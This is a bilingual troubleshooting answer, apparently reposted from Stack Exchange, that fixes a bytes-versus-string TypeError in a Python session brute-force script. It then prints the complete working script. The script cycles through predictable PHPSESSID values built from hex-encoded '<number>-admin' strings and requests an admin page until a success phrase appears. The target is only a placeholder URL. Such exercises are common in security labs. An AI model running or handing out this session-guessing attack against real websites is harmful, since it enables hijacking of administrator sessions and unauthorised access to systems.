Python Requests Cookies错误排查:会话暴力破解脚本异常
Hey there, let's break down why your script is throwing that error and how to fix it quickly!
错误根源
The TypeError you're seeing happens because binascii.hexlify() returns a bytes object, but the requests library expects cookie values to be strings. When requests tries to validate the cookie value (checking if it starts/ends with quotes), it tries to call startswith() on a bytes object with a string argument—hence the type mismatch.
修复步骤
You just need to convert the bytes output from hexlify to a string using .decode('ascii'). Also, let's make sure your code has all required imports and defined variables (your original snippet was missing import requests, import binascii, and the target/trueStr definitions).
Here's the corrected full script:
import requests import binascii # 替换成你的实际目标URL和成功标识文本 target = "http://your-target-url.com/admin" trueStr = "Welcome Admin" # 比如管理员页面独有的特征文本 for x in range(1, 641): if x % 10 == 0: print(f"{x} Sessions Tested") # 构造原始会话字符串,转成bytes后做十六进制编码,最后转成字符串 raw_session = f"{x}-admin".encode('ascii') phpsessid = binascii.hexlify(raw_session).decode('ascii') cookies = dict(PHPSESSID=phpsessid) r = requests.get(target, cookies=cookies) if trueStr in r.text: print(f'Got it! Valid PHPSESSID: {phpsessid} (matches number {x})') break # 找到正确值后停止循环,节省时间
排查方向建议
- Check variable types first: When you hit type-related errors, use
print(type(your_variable))to confirm what you're passing around. In your original code, the generated PHPSESSID value was bytes instead of the required string. - Validate cookie format: Print out a few generated PHPSESSID values first to verify they're valid hex strings before sending them in requests.
- Test in small chunks: Isolate the cookie generation logic (run just that part to see output) before integrating it with the requests call. This helps narrow down exactly where issues occur.
内容的提问来源于stack exchange,提问作者K B

